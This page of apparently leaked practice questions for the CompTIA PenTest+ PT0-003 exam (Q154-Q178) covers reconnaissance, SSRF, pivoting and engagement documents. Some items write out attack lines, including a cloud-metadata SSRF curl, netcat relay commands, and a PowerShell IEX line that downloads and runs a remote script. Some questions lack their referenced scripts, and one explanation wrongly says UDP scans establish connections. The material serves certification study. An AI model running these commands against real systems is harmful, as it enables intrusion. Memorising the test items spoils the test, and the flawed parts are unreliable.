Tested & Approved PT0-003 Study Materials Download Free Updated 274 Questions [Q154-Q178] – IT Certification Exam Questions & Answers

5/5 - (1 vote)

Tested & Approved PT0-003 Study Materials Download Free Updated 274 Questions

Regular Free Updates PT0-003 Dumps Real Exam Questions Test Engine

NEW QUESTION 154
A penetration tester is performing network reconnaissance. The tester wants to gather information about the network without causing detection mechanisms to flag the reconnaissance activities. Which of the following techniques should the tester use?

Sniffing

Banner grabbing

TCP/UDP scanning

Ping sweeps

NEW QUESTION 155
A penetration tester attempts to run an automated web application scanner against a target URL. The tester validates that the web page is accessible from a different device. The tester analyzes the following HTTP request header logging output:
200; GET /login.aspx HTTP/1.1 Host: foo.com; User-Agent: Mozilla/5.0
200; GET /login.aspx HTTP/1.1 Host: foo.com; User-Agent: Mozilla/5.0
No response; POST /login.aspx HTTP/1.1 Host: foo.com; User-Agent: curl
200; POST /login.aspx HTTP/1.1 Host: foo.com; User-Agent: Mozilla/5.0
No response; GET /login.aspx HTTP/1.1 Host: foo.com; User-Agent: python Which of the following actions should the tester take to get the scans to work properly?

Modify the scanner to slow down the scan.

Change the source IP with a VPN.

Modify the scanner to only use HTTP GET requests.

Modify the scanner user agent.

NEW QUESTION 156
A penetration tester is conducting an Nmap scan and wants to scan for ports without establishing a connection. The tester also wants to find version data information for services running on Projects. Which of the following Nmap commands should the tester use?

..nmap -sU -sV -T4 -F target.company.com

..nmap -sS -sV -F target.company.com

..nmap -sT -v -T5 target.company.com

..nmap -sX -sC target.company.com

The Nmap command that the tester should use to scan for ports without establishing a connection and to find version data information for services running on open ports is nmap -sS -sV -F target.company.com. This command has the following options:
-sS performs a TCP SYN scan, which is a scan technique that sends TCP packets with the SYN flag set to the target ports and analyzes the responses. A TCP SYN scan does not establish a full TCP connection, as it only completes the first step of the three-way handshake. A TCP SYN scan can stealthily scan for open ports without alerting the target system or application.
-sV performs version detection, which is a feature that probes open ports to determine the service and version information of the applications running on them. Version detection can provide useful information for identifying vulnerabilities or exploits that affect specific versions of services or applications.
-F performs a fast scan, which is a scan option that only scans the 100 most common ports according to the nmap-services file. A fast scan can speed up the scan process by avoiding scanning less likely or less interesting ports.
target.company.com specifies the domain name of the target system or network to be scanned.
The other options are not valid Nmap commands that meet the requirements of the question. Option A performs a UDP scan (-sU), which is a scan technique that sends UDP packets to the target ports and analyzes the responses. A UDP scan can scan for open ports that use UDP protocol, such as DNS, SNMP, or DHCP. However, a UDP scan does establish a connection with the target system or application, unlike a TCP SYN scan. Option C performs a TCP connect scan (-sT), which is a scan technique that sends TCP packets with the SYN flag set to the target ports and completes the three-way handshake with an ACK packet if a SYN/ACK packet is received. A TCP connect scan can scan for open ports that use TCP protocol, such as HTTP, FTP, or SSH. However, a TCP connect scan does establish a full TCP connection with the target system or application, unlike a TCP SYN scan. Option D performs an Xmas scan (-sX), which is a scan technique that sends TCP packets with the FIN, PSH, and URG flags set to the target ports and analyzes the responses. An Xmas scan can stealthily scan for open ports without alerting the target system or application, similar to a TCP SYN scan. However, option D does not perform version detection (-sV), which is one of the requirements of the question.

NEW QUESTION 157
A penetration tester captures SMB network traffic and discovers that users are mistyping the name of a fileshare server. This causes the workstations to send out requests attempting to resolve the fileshare server’s name. Which of the following is the best way for a penetration tester to exploit this situation?

Relay the traffic to the real file server and steal documents as they pass through.

Host a malicious file to compromise the workstation.

Reply to the broadcasts with a fake IP address to deny access to the real file server.

Respond to the requests with the tester’s IP address and steal authentication credentials.

NEW QUESTION 158
A penetration tester has found a web application that is running on a cloud virtual machine instance. Vulnerability scans show a potential SSRF for the same application URL path with an injectable parameter. Which of the following commands should the tester run to successfully test for secrets exposure exploitability?

curl <url>?param=http://169.254.169.254/latest/meta-data/

curl ‘<url>?param=http://127.0.0.1/etc/passwd’

curl ‘<url>?param=<script>alert(1)<script>/’

curl <url>?param=http://127.0.0.1/

NEW QUESTION 159
A penetration tester discovers evidence of an advanced persistent threat on the network that is being tested. Which of the following should the tester do next?

Report the finding.

Analyze the finding.

Remove the threat.

Document the finding and continue testing.

NEW QUESTION 160
Which of the following documents is agreed upon by all parties associated with the penetration-testing engagement and defines the scope, contacts, costs, duration, and deliverables?

SOW

SLA

MSA

NDA

NEW QUESTION 161
While conducting a peer review for a recent assessment, a penetration tester finds the debugging mode is still enabled for the production system. Which of the following is most likely responsible for this observation?

Configuration changes were not reverted.

A full backup restoration is required for the server.

The penetration test was not completed on time.

The penetration tester was locked out of the system.

NEW QUESTION 162
A penetration tester needs to evaluate the order in which the next systems will be selected for testing. Given the following output:
Hostname | IP address | CVSS 2.0 | EPSS
hrdatabase | 192.168.20.55 | 9.9 | 0.50
financesite | 192.168.15.99 | 8.0 | 0.01
legaldatabase | 192.168.10.2 | 8.2 | 0.60
fileserver | 192.168.125.7 | 7.6 | 0.90
Which of the following targets should the tester select next?

fileserver

hrdatabase

legaldatabase

financesite

NEW QUESTION 163
host -t axfr domain.com dnsl.domain.com
Which of the following techniques best describes what the tester is doing?

Zone transfer

Host enumeration

DNS poisoning

DNS query

NEW QUESTION 164
An external consulting firm is hired to perform a penetration test and must keep the confidentiality of the security vulnerabilities and the private data found in a customer’s systems. Which of the following documents addresses this requirement?

ROE

NDA

MOU

SLA

NEW QUESTION 165
A tester runs an Nmap scan against a Windows server and receives the following results:
Nmap scan report for win_dns.local (10.0.0.5)
Host is up (0.014s latency)
Port State Service
53/tcp open domain
161/tcp open snmp
445/tcp open smb-ds
3389/tcp open rdp
Which of the following TCP ports should be prioritized for using hash-based relays?

161

445

3389

NEW QUESTION 166
Which of the following frameworks can be used to classify threats?

PTES

STRIDE

OSSTMM

OCTAVE

NEW QUESTION 167
A penetration tester performs a service enumeration process and receives the following result after scanning a server using the Nmap tool:
PORT STATE SERVICE
22/tcp open ssh
25/tcp filtered smtp
111/tcp open rpcbind
2049/tcp open nfs
Based on the output, which of the following services provides the best target for launching an attack?

Remote access

Database

File sharing

NEW QUESTION 168
A penetration tester is performing reconnaissance for a web application assessment. Upon investigation, the tester reviews the robots.txt file for items of interest.
INSTRUCTIONS
Select the tool the penetration tester should use for further investigation.
Select the two entries in the robots.txt file that the penetration tester should recommend for removal.

NEW QUESTION 169
Given the following script:

Which of the following BEST characterizes the function performed by lines 5 and 6?

Retrieves the start-of-authority information for the zone on DNS server 10.10.10.10

Performs a single DNS query for www.comptia.org and prints the raw data output

Loops through variable b to count the results returned for the DNS query and prints that count to screen

Prints each DNS query result already stored in variable b

NEW QUESTION 170
Given the following Nmap scan command:
[root@kali ~]# nmap 192.168.0 .* — exclude 192.168.0.101

Which of the following is the total number of servers that Nmap will attempt to scan?

101

255

256

NEW QUESTION 171
The following line-numbered Python code snippet is being used in reconnaissance:

Which of the following line numbers from the script MOST likely contributed to the script triggering a
“probable port scan” alert in the organization’s IDS?

Line 01

Line 02

Line 07

Line 08

NEW QUESTION 172
A company has hired a penetration tester to deploy and set up a rogue access point on the network.
Which of the following is the BEST tool to use to accomplish this goal?

Wireshark

Aircrack-ng

Kismet

Wifite

NEW QUESTION 173
A penetration tester established an initial compromise on a host. The tester wants to pivot to other targets and set up an appropriate relay. The tester needs to enumerate through the compromised host as a relay from the tester’s machine. Which of the following commands should the tester use to do this task from the tester’s host?

attacker_host$ nmap -sT <target_cidr> | nc -n <compromised_host> 22

attacker_host$ mknod backpipe p attacker_host$ nc -l -p 8000 | 0<backpipe | nc <target_cidr> 80 | tee backpipe

attacker_host$ nc -nlp 8000 | nc -n <target_cidr> attacker_host$ nmap -sT 127.0.0.1 8000

attacker_host$ proxychains nmap -sT <target_cidr>

NEW QUESTION 174
Which of the following concepts defines the specific set of steps and approaches that are conducted during a penetration test?

Scope details

Findings

Methodology

Statement of work

NEW QUESTION 175
During an assessment, a penetration tester obtains a list of 30 email addresses by crawling the target company’s website and then creates a list of possible usernames based on the email address format. Which of the following types of attacks would MOST likely be used to avoid account lockout?

Mask

Rainbow

Dictionary

Password spraying

NEW QUESTION 176
A tester completed a report for a new client. Prior to sharing the report with the client, which of the following should the tester request to complete a review?

A generative AI assistant

The customer’s designated contact

A cybersecurity industry peer

A team member

NEW QUESTION 177
A penetration tester is searching for vulnerabilities or misconfigurations on a container environment. Which of the following tools will the tester most likely use to achieve this objective?

Nikto

Trivy

Nessus

Nmap

NEW QUESTION 178
Given the following script:
$1 = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name.split(“”)[1] If ($1 -eq “administrator”) { echo IEX(New-Object Net.WebClient).Downloadstring(‘http://10.10.11.12:8080/ul/windows.ps1’) | powershell -noprofile -} Which of the following is the penetration tester most likely trying to do?

Change the system’s wallpaper based on the current user’s preferences.

Capture the administrator’s password and transmit it to a remote server.

Conditionally stage and execute a remote script.

Log the internet browsing history for a systems administrator.

CompTIA PT0-003 Exam Syllabus Topics:

Topic	Details
Topic 1	Attacks and Exploits: This extensive topic trains cybersecurity analysts to analyze data and prioritize attacks. Analysts will learn how to conduct network, authentication, host-based, web application, cloud, wireless, and social engineering attacks using appropriate tools. Understanding specialized systems and automating attacks with scripting will also be emphasized.
Topic 2	Reconnaissance and Enumeration: This topic focuses on applying information gathering and enumeration techniques. Cybersecurity analysts will learn how to modify scripts for reconnaissance and enumeration purposes. They will also understand which tools to use for these stages, essential for gathering crucial information before performing deeper penetration tests.
Topic 3	Vulnerability Discovery and Analysis: In this section, cybersecurity analysts will learn various techniques to discover vulnerabilities. Analysts will also analyze data from reconnaissance, scanning, and enumeration phases to identify threats. Additionally, it covers physical security concepts, enabling analysts to understand security gaps beyond just the digital landscape.
Topic 4	Post-exploitation and Lateral Movement: Cybersecurity analysts will gain skills in establishing and maintaining persistence within a system. This topic also covers lateral movement within an environment and introduces concepts of staging and exfiltration. Lastly, it highlights cleanup and restoration activities, ensuring analysts understand the post-exploitation phase’s responsibilities.
Topic 5	Engagement Management: In this topic, cybersecurity analysts learn about pre-engagement activities, collaboration, and communication in a penetration testing environment. The topic covers testing frameworks, methodologies, and penetration test reports. It also explains how to analyze findings and recommend remediation effectively within reports, crucial for real-world testing scenarios.